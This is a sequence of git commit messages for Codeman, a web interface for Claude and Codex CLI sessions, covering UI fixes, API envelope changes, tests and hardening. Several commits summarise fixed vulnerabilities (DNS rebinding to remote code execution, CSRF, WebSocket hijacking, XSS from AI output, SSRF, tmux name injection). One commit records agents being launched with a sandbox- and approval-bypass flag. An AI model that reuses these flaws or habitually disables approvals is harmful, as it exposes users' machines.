CODEMAN_PASSWORD the auth middleware is inactive and the bind guard never trips
(tunnel binds loopback). PUT /api/settings now refuses tunnelEnabled:true with a
403 (before persisting) unless CODEMAN_PASSWORD is set or
CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1 is acknowledged. New
isUnauthenticatedNetworkAcknowledged() in network-auth-policy; settings-ui
surfaces the refusal as an error toast and reverts the toggle.
Scope: the always-on CSRF/Origin guard, Host-header allowlist, and
network-auth-policy itself are already upstream (#113) and not re-proposed here.
Verification: tsc, eslint, prettier, check:frontend-syntax clean; full test:ci
green (2723 passed), incl. test/cod54-hook-event-auth and
test/routes/system-routes-tunnel-guard.
cmdPattern's empty-matchable unbounded arg group backtracked exponentially
on wrapped heredoc/table lines — hovering one froze the tab for minutes.
Non-empty tokens + bounded reps make it O(n); regression test extracts the
shipped patterns and pins timing on the real killer shapes.
worker-src 'self' blob: is now unconditional so terminal-ui's _safeYield
tick worker (throttling escape) isn't CSP-blocked on non-gesture installs.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
A KeepAlive system-level LaunchDaemon (the right setup for headless Macs,
where no GUI login means LaunchAgents never start) is now detected as
supervisor 'launchd-daemon': the updater kills the server PID (passed via
--server-pid) and launchd respawns it on the new dist/ — no root needed.
Detection requires the daemon plist to be bootstrapped AND KeepAlive=true.
Also: on boot, a 'completed-needs-manual-restart' status auto-completes
when the running version matches the staged target, so the stale
'restart Codeman to apply' instruction no longer lingers in the UI.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
App Settings → Claude CLI gains a Claude Model select (claudeModel setting)
that pins the model for new Claude sessions via the case's
.claude/settings.local.json, taking precedence over the 1M Opus toggle.
Fable 5 added to the orchestrator default/phase model dropdowns.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
CLAUDE.md: tech-stack, envOverrides, and prefix-discipline sections now
cover the Codex (OpenAI CLI) run mode merged in PR #114 (SessionMode
'codex', codex-cli-resolver, CODEX_* allowlist).
test/setup.ts: strip CODEMAN_GESTURE like the auth vars — when the
shell exports it, renderIndexHtml injects the gesture-availability
flag and test/server-index-title.test.ts byte-identity assertions fail
(1 spurious failure in an otherwise-green local test:ci sweep).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Blocker: runCodex read raw response shapes, but the global
preSerialization hook (server.ts) wraps every payload in the
{ success, data } envelope — status.available was always undefined, so
the UI unconditionally printed "Codex CLI not found" and could never
start a session; the created session was also never auto-selected
(data.sessionId vs data.data.sessionId). Fixed both reads to match
runOpenCode, and updated the test mocks to the real wire shape (plus a
selectSession assertion) so envelope drift fails the test.
Guard parity: export isExternalCliMode() from session.ts and use it in
the ralph-config guard, all three respawn guards, and the six restore/
setup guards in server.ts that previously only excluded 'opencode' —
codex sessions could otherwise get a Ralph tracker or respawn
controller attached (idle detection is Claude-specific and output-
silence respawn cycling would misfire on a quiet codex TUI).
UI parity: cx tab badge, "Kill Tmux & Codex" dialog title, and the
missing CSS (.run-mode-dot.codex, .tab-mode.codex, .mode-codex button
colors — purple) so the Codex menu dot is no longer invisible. Removed
the dead object-literal runMode getter that Object.assign flattens
(superseded by the defineProperty accessor this PR adds).
Verified end-to-end on an isolated instance with a stub codex binary:
10/10 Playwright checks (menu/dot/label/button styling, session
created + auto-selected, cx badge, TUI output streamed, ralph+respawn
guards reject codex) and --dangerously-bypass-approvals-and-sandbox
+ --model observed on the spawned command line.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
CLAUDE.md audit against current tree: all commands, counts, and
architecture claims verified accurate; the only drift was the new
showResponseViewer toggle (8a995cb) and its hidden-by-default flip
(dd44976), now covered in the Frontend section.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Flip both showResponseViewer fallbacks to false and ship the template
with the hidden marker class so fresh installs never flash the button
before settings apply (enabling it via App Settings -> Display ->
Response Viewer still works live and survives reload).
Verified via Playwright on a fresh instance: 5/5 — hidden + unchecked
by default on desktop, enable shows live + persists, marker class
mirrors the per-device setting on mobile.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The eye button (View last response) was the only header control with
no visibility setting. Add App Settings -> Display -> "Response
Viewer" (showResponseViewer, default on, per-device like the other
header toggles; added to the displayKeys no-cross-device-sync set
along with showLifecycleLog, which was missing from it).
Hiding uses a marker class with higher specificity — the base rule is
display:inline-flex !important, so an inline style cannot override it.
Verified via Playwright on a fresh instance: 8/8 — default visible,
hides live on save, persists across reload, server schema accepts the
key, re-enable restores, mobile storage isolated.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Fresh desktop installs slid the Monitor panel open at startup — the two
showMonitor fallbacks defaulted to true (mobile already defaulted false
via getDefaultSettings). Default it to false everywhere; users opt in
via App Settings -> Show Monitor.
Also fix toggleMonitorPanel(): applyMonitorVisibility() leaves inline
display:none when the setting is off, so the session-tab task badge
toggled the open class invisibly (already broken on mobile). Clear the
inline display when opening so transient opens work.
Local echo defaults audited, unchanged: off on desktop, on for touch
(?? MobileDetection.isTouchDevice()), stored per-device and never
server-synced.
Verified on a fresh isolated instance (desktop + iPhone 13 emulation):
14/14 checks — panel closed + checkbox unchecked on both device
classes, local echo desktop-off/mobile-on, separate storage keys,
badge open works.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The default (simple) accessory bar above the mobile keyboard had no way
to send Escape — the esc action only existed in the opt-in extended
layout. Add the Esc button next to the paste button; the send/refocus
handlers already covered the action.
Verified via Playwright (iPhone 13 emulation): renders next to paste,
sends \x1b to /api/sessions/:id/input, bar still fits 390px without
scrolling, mode round-trips intact.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- CI section: document the test job (npm run test:ci via vitest.ci.config.ts)
and check:frontend-syntax — the "unit suite is excluded" claim was stale
- Testing: rewrite rationale (bare npm test fails on browser suites, not tmux)
and safety model (TmuxManager in-memory mock under VITEST; the
registerTestTmuxSession/snapshot mechanism no longer exists)
- API Routes: add the ApiResponse envelope and /api/v1 alias contract
- Minor: app.js ~3.6K lines, codeman bin alias, new command-table rows,
config-barrel note, generated/gitignored dirs section
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Adversarial post-rebase audit (11 agents) confirmed four real issues;
all fixed:
- Desktop tab clicks stopped focusing the terminal: handleSessionTabClick
passed preserveKeyboard:false on desktop (KeyboardHandler.keyboardVisible
is mobile-only state) and selectSession's ternary mapped explicit false
to 'never focus', skipping the gesture-stack focus master relies on.
Focus policy now lives solely in _shouldFocusTerminalForTabSwitch()
(desktop: always; touch: only while the keyboard is open).
- Desktop sizing claims were almost never registered: selectSession's
resizes run before _connectWs, so they went over HTTP (which never
claims), leaving the arbitration inert in the canonical desktop+phone
scenario. ws.onopen now sends a typed resize over the fresh socket —
registering the claim and syncing PTY dims after (re)connects.
- throttledResize (the main window-resize path) sent untyped HTTP
resizes: a rotating phone bypassed a desktop claim, and a desktop
narrowing past the tablet breakpoint never released its stale claim.
It now sends typed resizes, WS-first, like sendResize.
- The cjkInputEnabled App Settings toggle was silently ignored on touch
phones/tablets (composer only reachable via the server inputCjkForm
override, while the checkbox stayed visible and saveable). The user
setting is honored everywhere again; mobile keeps native-input-by-
default via the cjkInputEnabled:false mobile default.
- _handleCjkInput appended multi-byte ESC sequences (hardware-keyboard
arrows/Home/End on the composer) to local-echo pending text, typing
raw ESC bytes into the prompt on Enter; they are now forwarded to the
PTY like the onData path. Its backspace path also syncs the
per-session flushed Maps the way onData does, so tab-switch restore
no longer resurrects deleted characters.
Defensive: Session.stop() clears desktop sizing claims (a hung client's
socket close can lag teardown by a ping cycle), and the claims docblock
documents the WS-only tradeoff explicitly.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Review follow-ups on PR #111 (rebased onto master post-#112/#113):
Resize arbitration redesigned (review blocker 2): the previous
'cols < _ptyCols' guard froze a mobile-only session's PTY at the spawn
default — narrow phones rendered clipped and could never re-fit. The
guard now uses connection-scoped desktop sizing claims instead:
ws-routes registers a claim on a desktop-typed resize and releases it
on socket close (or when the same connection later reports a small
viewport), and Session.resize() ignores mobile/tablet resizes only
while at least one desktop connection holds a claim. A phone alone
fully controls its size (shrink, rows-only shrink, re-grow); a phone
glancing at a desktop-driven session can no longer reflow it.
mobile-handlers' keyboard open/close resize now declares its viewport
type so it participates in arbitration. Tests rewritten to cover
mobile-only shrink/rows-only/re-grow, claim/release lifecycle, multi-
claim behavior, and untyped legacy resizes; ws-routes test covers the
claim lifecycle over a real socket.
Solo/detached header restored (review blocker 3): index.html had
removed #soloSessionTitle and #soloRedockBtn, which _applySoloMode
still references — every detached window hit a null deref. Both are
back alongside the new mobile utility toggle.
Desktop leak fixed (review should-fix): .mobile-header-utility-toggle
had no rule outside the <=768px media queries, so the raw button
rendered on desktop. styles.css now hides it by default; the mobile/
tablet queries re-enable it.
Visual-regression baselines reverted to master (review should-fix):
the 18 contributor-machine PNGs are environment-specific (8 of the
behavioral tests already report environment-sensitive failures across
machines); re-baseline deliberately on the canonical machine instead.
The 24 behavioral keyboard/layout/tabs tests are kept as-is.
AGENTS.md trimmed to a pointer at CLAUDE.md (review should-fix) to
avoid drift between duplicated guidance.
Also dropped a dead getAttachmentHistoryForPersist stub (codex-branch
residue — no such method exists in src/).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Mobile-focused fixes for the web UI: keyboard-accessory layout and
overlap, native input visibility above the keyboard, CJK input handling,
terminal touch scrolling, tab-menu tap targets, mic-recording glow
containment, and mobile resize/keyboard-state handling on tab switch,
plus mobile visual-regression test coverage and snapshots.
Co-Authored-By: Saqeb Akhter <saqeb.akhter@gmail.com>
A 15-agent audit of the merged tree confirmed 9 envelope/contract bugs;
all fixed here, with live-server contract tests added:
Blockers (fresh-install quick start broken):
- session-ui.js runClaude/runShell unwrapped .data from the /api/cases/:name
404 error envelope (which has no data key), so a not-yet-created case threw
TypeError instead of triggering the auto-create fallback. Now '?.data ?? {}'.
Contract violations on the new stable surface:
- Unknown /api routes returned HTTP 404 with {success:true,...} (Fastify's
default not-found payload was wrapped by the envelope hook). Added a
setNotFoundHandler returning the standard error envelope for /api paths.
- POST /api/events/subscribe 400 body became {success:true,data:{error}};
now createErrorResponse(INVALID_INPUT).
- POST /api/clipboard validation error lacked errorCode and shipped HTTP 200;
now createErrorResponse(INVALID_INPUT) -> 400.
- POST /api/run catch path returned bare {success:false,sessionId,error}
(HTTP 200, no errorCode); now OPERATION_FAILED envelope -> 422 with the
dead session id in the message.
- DELETE tail-file/:streamId returned {success: closed}, colliding with the
envelope discriminator; now returns {closed}.
Dead/regressed UI paths:
- Plan history modal could never open: route returned the bare history array
under data while the frontend read data.data.history/currentVersion. Route
now returns {history, currentVersion}; modal task count fixed to stats.total.
- Self-update error toast read j.error.message from the string-typed envelope
error, always falling back to the generic message; now reads the string.
Cleanup:
- Removed the stale QuickStartResponse type (unreferenced; documented the
pre-envelope shape and invited success-key collisions).
Tests: new test/http-contract.test.ts boots a real WebServer (port 3168) and
pins the envelope, /api/v1 alias, error statuses, and the /api 404 shape —
the route-test harness does not install the server-level hook, so these need
the live server. Updated file-routes/plan-routes/scheduled-runs tests to the
fixed shapes.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
app.js resolves settingsPromise to the unwrapped settings object
(env?.data ?? null), matching loadAppSettingsFromServer. The
loadQuickStartCases consumer still read settings.data.lastUsedCase,
which silently dropped the last-used-case preselection; its fallback
fetch also missed the envelope unwrap. Align both with the unwrapped
shape.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Conflict in src/web/public/app.js selectSession: combined #112's
_clearTerminalLoadState cleanup on stale select with #113's
{success,data} envelope unwrap of the terminal fetch.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Follow-up to the PR #112 re-review (all six prior blockers were already
resolved; these are new issues the rework introduced):
- app.js: define the missing `_scheduleTerminalRepaint()` helper. It was
called from both WebGL-fallback paths (onContextLoss + long-task trip)
but defined nowhere, so each fallback threw `TypeError` and lost the
post-fallback repaint, leaving a stale/blank terminal. Implemented as an
rAF-debounced full refresh (matches the old inline `terminal.refresh`).
- app.js: clear terminal load-state on the two post-write stale-select
early-returns (cached-buffer + rewrite branches), matching the other
four checks. Switching away from a mid-loading tab no longer leaks a
permanent `.tab-loading` spinner / `aria-busy=true`.
- terminal-ui.js + app.js: gate the post-resize TUI-redraw settle on an
actual dimension change. `sendResize` now returns whether dims changed;
a same-size tab switch sends no SIGWINCH, so the wait is skipped instead
of charging a flat tax on every non-shell switch. Literal hoisted to
`TUI_REDRAW_SETTLE_MS`.
- tmux-manager.ts: `resizeWindow()` uses a non-blocking `exec` instead of
`execSync` so the interactive WS/HTTP resize path can't stall the
Fastify event loop on a slow/hung tmux. Sole caller already fire-and-
forgets the result; test updated to assert the async dispatch.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The new CI test gate surfaced a pre-existing flaky timing test: 'should return age of entry' asserted age>=50 after a 50ms setTimeout and measured 49ms on a jittery CI runner. Widened the elapsed-time windows (age >=40/<500; remaining TTL >700/<=960) so they tolerate timer jitter. Pre-existing flakiness, unrelated to the API migration. (File was also normalized by prettier per the pre-commit hook.)
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Point 1 of the v1.0 lock-in: commit to a stable HTTP API (the cleanest, fullest form).
Core (centralized):
- Every JSON /api response now uses ONE envelope via a Fastify preSerialization hook (src/web/server.ts): success -> { success:true, data:<payload> }; error -> { success:false, error, errorCode } with a conventional HTTP status. Non-JSON routes (file-raw, tail-file SSE, download, screenshots, /q redirect, WS) are skipped.
- Error-code -> HTTP status is a single source of truth (httpStatusForErrorCode in src/types/api.ts): 400/401/404/409/422/429/500. Expanded ApiErrorCode (added UNAUTHORIZED, CONFLICT, RATE_LIMITED). Errors are no longer HTTP 200.
- Versioned alias: /api/v1/* rewrites to /api/* (rewriteApiV1Url), so external clients pin to a stable surface while the bundled UI keeps using /api/*.
- Handlers stripped of manual 'success:true' (50 across 14 route files) so they return bare payloads the hook wraps uniformly; fixed the mux DELETE {success:<bool>} envelope collision (-> {killed}).
Frontend (48 call sites across 10 files):
- _apiJson() auto-unwraps { success:true, data } -> data (null on error), so most bare-shape readers are transparent. Raw-fetch sites relocate payload reads under .data; success/res.ok/error checks unchanged.
Docs: new docs/api-reference.md (envelope, status table, error codes, /api/v1, SSE); versioning-policy.md flipped — the HTTP/SSE API is now part of the stable, SemVer-covered surface.
Verification: full unit/route suite green (2680 passed) incl. ~166 updated assertions across 24 test files; typecheck/lint/format/frontend-syntax clean; a headless-chromium smoke loaded the migrated UI and drove the panels with 0 console/page errors; /api/status and /api/v1/status confirmed returning the uniform envelope live.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- engines.node >=18 -> >=22 (Node 18/20 are EOL; CI only tests 22; the start script + systemd unit use NODE_COMPILE_CACHE which needs 22.1+). Updates the README badge and CLAUDE.md requirements to match.
- bin: add a 'codeman' alias alongside 'aicodeman' so 'npm i -g aicodeman' provides the 'codeman' command every doc/symlink references (program.name is already 'codeman'; the published package name stays 'aicodeman').
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Mode-agnostic terminal foundation extracted from the downstream branch:
- formatPaneSnapshot: SGR/grapheme-aware tmux pane capture + active-pane
resolution, with OSC/CSI redraw suppression and the buffer-load owner-token
race fix on the terminal fetch path
- socket-correct tmux lifecycle: dedicated -L socket and /tmp launch cwd in
createSession (restores the FUSE/getcwd hardening from #110), and a
socket-aware re-attach window-size query (avoids the 120x40 flicker)
- inline-rename: commit/cancel state handling clears _activeRename and skips
the API call on cancel
- selectSession: restored detached-window raise short-circuit
The codex-specific xterm snapshot/replay, the vendored serialize addon, and
the synchronous live pane-capture on the request path are intentionally
excluded: they depend on a 'codex' SessionMode that doesn't exist on master
and are deferred to COD-34 (which introduces that mode). The capture
primitives remain exported for COD-34 to build on.
Co-Authored-By: Saqeb Akhter <saqeb.akhter@gmail.com>
- M7 (SSRF): add isSafePushEndpoint (https-only; reject internal/loopback/link-local/metadata IPs incl. IPv4-mapped); enforce in PushSubscribeSchema and re-check before webpush.sendNotification. + unit test.
- M1 (command injection): validate tmux session names with isValidMuxName in sessionExists, killSession, and reconcileSessions before they reach a shell call site.
- M5: keep the intentional /var/log + ~/logs log-tail roots (a tested feature) and document the wider read scope in docs/security-architecture.md section 5 instead of dropping it.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- CI: add a 'test' job running the unit suite via config/vitest.ci.config.ts. Excludes browser (Playwright/chromium) and perf tests (timing-flaky), like the existing test/mobile suite. Safe in CI: TmuxManager no-ops shell commands under VITEST (test/setup.ts).
- Add scripts/check-frontend-syntax.mjs (node --check on src/web/public/*.js), wired into the lint job — catches a class of frontend SyntaxError that passes lint today (lint globs only TS).
- Add test/security-regression.test.ts (wired Host/Origin guard, self-update CSRF, CSP/security headers, text/plain raw body, WS anti-CSWSH) + test/sse-registry-parity.test.ts (backend<->frontend SSE registry parity).
- Green pre-existing test debt surfaced by the new gate: stale 'Session not found' asserts -> 'not found' substring; drop tests for removed helpers (isError now internal; createSuccessResponse deleted); file-stream-manager: mock realpathSync + fix stale /tmp assertion; sse-subscription-filter: lifecycle events broadcast to all clients (only terminal stream filtered); session.test.ts: mkdir /tmp/test; skip one interactive-respawn test needing a real PTY (covered by respawn-controller.test.ts).
- Full non-mobile suite verified green locally (2680 passed, 12 skipped).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- Add SECURITY.md: private disclosure path, supported versions, known limitations.
- Add docs/versioning-policy.md defining what 1.0 SemVer covers (CLI + documented env vars are public; HTTP/SSE API, on-disk state, and experimental features are internal/unstable).
- LICENSE: '2024 Claudeman Contributors' -> '2024-2026 Codeman Contributors'.
- CLAUDE.md: fix the stale xterm-zerolag-input 'duplicated in app.js' gotcha (it is single-source now -> gitignored vendor bundle via postinstall.js/build.mjs); add versioning + security pointers; minor /init nav fixes (image-input load order, server.ts marker).
- README: link SECURITY.md + the versioning policy.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
README: add a dedicated Security section (always-on Host/Origin
allowlist & DNS-rebinding defense, cross-site CSRF guard, raw
text/plain parser, WebSocket origin validation, XSS-escaped agent
output), plus an Orchestrator Loop section, Agent Teams, and a
More Features section (self-update, dual-CLI, effort/ultracode,
voice, image, gesture, multi-monitor, CJK). Correct stale stats
(tests 1435->2861, 13->15 route modules, 14->16 types, 9->10
config, server.ts 2697->2254, 9->18 frontend modules), fix the
keyboard-shortcut table to match the actual registry (drop the
unbound Ctrl+Enter/Ctrl+K), repoint a moved doc link, add
Orchestrator + self-update API rows, and add Orchestrator/Team
Watcher to the architecture diagram.
security-architecture.md: document the always-on Host-header &
Origin allowlist, text/plain hardening, WebSocket check, XSS
escaping, and CODEMAN_ALLOWED_HOSTS.
CLAUDE.md: add Host guard / CSRF guard rows + CODEMAN_ALLOWED_HOSTS.
security review report: add a remediation-status banner (the
pre-fix TL;DR now reads as v0.9.4 state; fixed in c669518).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The updater wrote the status once per phase, so the minute-plus npm install and
build steps left the UI frozen on a single label. Add:
- a heartbeat in scripts/self-update.sh (run_step wrapper) that refreshes
update-status.json every ~3s during the install/build steps with the latest
output line; full output is still mirrored to the update log.
- a frontend (settings-ui.js) that, during non-terminal phases, shows the live
status message plus a ticking total-elapsed counter instead of only the static
phase label.
Takes effect when updating FROM a build that contains it — the detached runner
script (staged from scripts/self-update.sh) and the polling frontend are both
the from-version's copies.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Adds an always-on Host-header allowlist and a cross-site Origin/CSRF guard,
hardens the text/plain body parser, validates the WebSocket upgrade origin,
and escapes AI-derived fields in the subagent panel. Closes the two
CRITICALs and 5 HIGHs from the 2026-06-09 adversarial security review.
- C1: no Host allowlist -> DNS rebinding drove the full API (RCE) on the
default no-auth loopback install. New registerHostGuard rejects rebound
custom domains; allows loopback, any IP literal, the bind host,
*.ts.net / *.trycloudflare.com / *.cfargotunnel.com, the active managed
tunnel, and CODEMAN_ALLOWED_HOSTS.
- C2: a global text/plain parser JSON-parsed every body, enabling cross-site
simple-request CSRF. Parser now keeps the raw string; /api/crash-diag
self-parses; the global Origin guard rejects cross-site state changes.
- H1/H3/H6: self-update, session create/input, and settings/tunnel toggles
were CSRF-triggerable -> now covered by the Origin guard.
- H4: the subagent activity panel injected raw AI tool names/inputs into
innerHTML (executed under CSP 'unsafe-inline'). All sinks now escapeHtml'd.
- H5: the WebSocket upgrade had no Origin/Host check (CSWSH) -> now validated.
A missing Origin is allowed so curl/CLI and Claude Code hooks keep working;
custom reverse-proxy domains need CODEMAN_ALLOWED_HOSTS=host,.suffix.
Deferred: H2 (self-update tag signing, needs signing infra) and CSP
'unsafe-inline' removal (needs a nonce migration).
Tests: test/network-host-guard.test.ts (19), test/routes/ws-routes.test.ts
updated. Report: docs/reports/security-review-2026-06-09.md
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Update Codeman from the web UI: a "Check for updates" button queries GitHub
for the latest tagged release (git ls-remote fallback) and shows release
notes; "Update now" runs git checkout <tag> → npm install → npm run build →
restart, streaming live progress that survives the service restart.
- Release-tag channel; dirty trees auto-stashed (left for manual git stash pop)
- Cross-platform restart: systemd / launchd / manual, detected at runtime
- Updater runs detached (systemd-run --scope on Linux, setsid on macOS) so the
restart it triggers can't kill the build mid-flight
- Build-failure rollback to the pre-update commit; boot reconcile with an
update-id/freshness guard; 409 concurrency lock; runner staged outside the
repo; strict tag validation; CODEMAN_DISABLE_SELF_UPDATE kill-switch
- Endpoints: GET /api/system/update/check, POST /api/system/update,
GET /api/system/update/status
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Expand docs/security-architecture.md:
- Add a table-of-contents and an explicit "Trust model" section
framing the security boundary as network-bind + auth (not a
sandbox around --dangerously-skip-permissions), with an
actor/granted matrix and out-of-scope notes.
- Clarify the file-serving hardening: the octet-stream + attachment
+ nosniff combination (not the CSP, which allows 'unsafe-inline')
is what blocks SVG/HTML execution.
- Detail the actual transport security headers: enumerated CSP
widenings (cdn.jsdelivr.net, deepgram wss, data:/blob: img-src,
gesture wasm opt-in), HSTS, X-Frame-Options, localhost-only CORS.
- Add a "Key source files" table and a dated maintenance note.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Add the 30 SSE event constants that existed in the backend
src/web/sse-events.ts but were missing from the frontend
SSE_EVENTS object in constants.js, bringing both registries to
an exact 120-event match:
- Session lifecycle: autoCompact, message, interactive, running
- Session: Plan (new): planTaskUpdate, planCheckpoint, planRollback,
planTaskAdded
- Respawn: cycleCompleted, stepSent, stepCompleted, aiCheck* (4),
planCheck* (3), log, configUpdated
- Scheduled: log, deleted
- Teams (new): created, updated, removed, taskUpdated
- Transcript (new): complete, plan_mode, tool_start, tool_end
Purely additive registry constants (none were referenced by raw
string in the frontend, so no behavior changes). Also refresh the
now-accurate event-count JSDoc on both files, and fix the files()
route handler count in CLAUDE.md (5 -> 6).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
install.sh now prints the loopback-bind security notice as the final block of
both the one-line fresh install and the update flow, so it stays visible. Also
documents that gesture control remains opt-in / default-off (changeset).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Bring the Ark0N/codeman-gesture-control repo in-tree as the codeman-gesture-control
workspace package so the hand-tracking overlay can be developed in the Codeman repo.
New npm run build:gesture bundles src/codeman/entry.ts into the served
gesture-codeman.js; scripts/build.mjs reruns it on every production build.
Source formatted to Codeman's prettier style.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The App Settings toggle grid used grid-template-columns: 1fr 1fr, which
resolves to minmax(auto, 1fr): the auto minimum equals the items'
min-content (~550px), exceeding the available width and forcing a
horizontal scrollbar with the right-column switches clipped at the edge.
Switch the settings grids to minmax(0, 1fr) tracks so they can shrink
(labels ellipsis-truncate as a last resort instead of blowing out), and
widen the App Settings modal from 540 to 600px so the two-column layout
fits comfortably. Width bump is scoped to #appSettingsModal so the other
modal-lg modal (Add Case) is unaffected.
Verified with Playwright across all six tabs: 0 horizontal overflow,
0 truncated labels, clean single-column collapse at 390px.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Reconcile scripts/codeman-web.service with the installed
~/.config/systemd/user/codeman-web.service so they're identical: carry the
loopback + `tailscale serve` security note, keep NODE_COMPILE_CACHE, and a
concise CODEMAN_GESTURE comment. Points at docs/security-architecture.md.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- Document the loopback-default bind and fail-closed non-loopback behavior
(COD-29) as a Common Gotcha, plus expanded Auth + new Network bind rows
in the Security table
- Add --host/CODEMAN_HOST bind and `npm run check:public-assets` to the
Additional Commands table
- Note the CI server boot smoke test step
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The PR adds an extended format:check / check-public-assets prettier pass
over src/web/public, but the hand-written public JS modules (and the
ported gesture bundle) have never been prettier-enforced and would turn
the new check red on master. Rather than reformat the entire frontend
(~2k lines of churn) inside a dependency-hardening PR, add those legacy
files + src/web/public/gesture/ to .prettierignore — matching the
author's existing pattern (app.js, styles.css, mobile.css, index.html).
The security-relevant checks are unaffected: check-public-assets.mjs
still validates NUL bytes and runs `node --check` on EVERY public .js
file regardless of .prettierignore.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The WebServer constructor now takes `host` as the 4th positional arg
(titleHostname shifted to 5th), and renderIndexHtml became async (it
reads settings.json for the gesture bundle) and cache-busts asset URLs.
Update the two title tests accordingly:
- pass '127.0.0.1' as the bind host so the title value lands in the
5th titleHostname slot (server-index-title + push-payload-host-title)
- await renderIndexHtml and make the cases async
- strip ?v=<mtime> cache-bust params before the byte-identical assertion
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- Move the Gesture Control (beta) toggle into the existing Input section
(alongside Local Echo / CJK Input / Extended Keyboard Bar); remove the
duplicate "Input" section header. Hide only the toggle (not the whole
section) when CODEMAN_GESTURE=1 is unset.
- scripts/codeman-web.service: set CODEMAN_GESTURE=1 so the gesture feature
is available on the local install (still gated by the default-OFF toggle).
- CLAUDE.md: version sync to 0.8.2 + config/app.js structural-count fixes.
- Version packages -> 0.8.2 (changeset covers detach, gesture overlay,
multi-monitor, settings toggles, cache-busting).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The gesture overlay is an opt-in experimental feature; flag it as beta in the
App Settings → Input toggle label.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
- Fix the gesture enable-reload race: PUT /api/settings writes settings.json
without invalidating WebServer's 2s _settingsCache, and the toggle reloads
~400ms after save — within the TTL — so renderIndexHtml could render the
pre-toggle state (bundle not injected until a 2nd reload). renderIndexHtml
now reads settings via readSettings(true), a fresh read that bypasses the
cache; readSettings gains a forceFresh param.
- Replace the brittle multi-monitor reveal (string match on the button's
aria-label + inline style) with a stable `btn-multimonitor--hidden` class
marker: the template carries the class, the server strips it when the setting
is on, and applyHeaderVisibilitySettings()/solo-mode CSS toggle the same class.
Editing the button's copy no longer silently breaks the reveal.
- Test: test/render-index-html.test.ts (reveal, solo injection + escaping,
gesture availability vs. enablement, fresh-read wiring).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Make the branch genuinely master-mergeable and fix several review findings:
- Defaults are now prod-safe: CODEMAN_INSTANCE defaults to '' (→ ~/.codeman,
-L codeman) and the web port back to 3000, so an existing install upgrades
cleanly. Port also honors a new CODEMAN_PORT env var. Run the beta isolated
alongside prod with scripts/run-beta.sh (CODEMAN_INSTANCE=beta + PORT 5000).
- .gitignore: anchor the root `public` symlink rule to `/public` (a bare
`public` also swallowed src/web/public, silently un-staging new web assets);
ignore the gesture wasm/model binaries explicitly instead.
- span-displays: add a macOS-only guard (400 elsewhere instead of spawning a
bash that fails invisibly); extract resolveSpanUrl() for unit testing.
- server.ts: memoize asset-version stat() calls (~1s TTL) so each index render
doesn't re-stat every script/link tag.
- styles.css: hide the multi-monitor button in solo (detached) windows.
- app.js: require two consecutive unanswered roll-calls before redocking, so a
timer-throttled background popup isn't wrongly un-marked.
- index.html: make the "skip to terminal" link base-href-safe (onclick scroll)
so it doesn't navigate to the dashboard from a /session/:id window.
- Tests: test/config/instance.test.ts, test/routes/system-span-displays.test.ts.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Document that both header features are now opt-in (default OFF) via App Settings
→ Display (Input / Header Displays), how each is gated (renderIndexHtml reveal
+ async settings read), and that the notification bell stays hidden.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Make the two experimental header features opt-in via App Settings instead of
forced on. Both default OFF.
- App Settings → Display → 'Header Displays' gains a 'Multi-monitor Button'
toggle (setting: showMultiMonitorButton). The button is hidden in the template
by default; the server reveals it at render when enabled, and
applyHeaderVisibilitySettings handles live toggles from a save.
- App Settings → Display → new 'Input' section gains a 'Gesture Control' toggle
(setting: gestureControlEnabled). The gesture overlay is injected at page
render, so renderIndexHtml (now async) reads settings.json and injects the
bundle only when enabled; toggling reloads the page. CODEMAN_GESTURE=1 stays
the instance-level 'feature available' gate (CSP + assets) and exposes
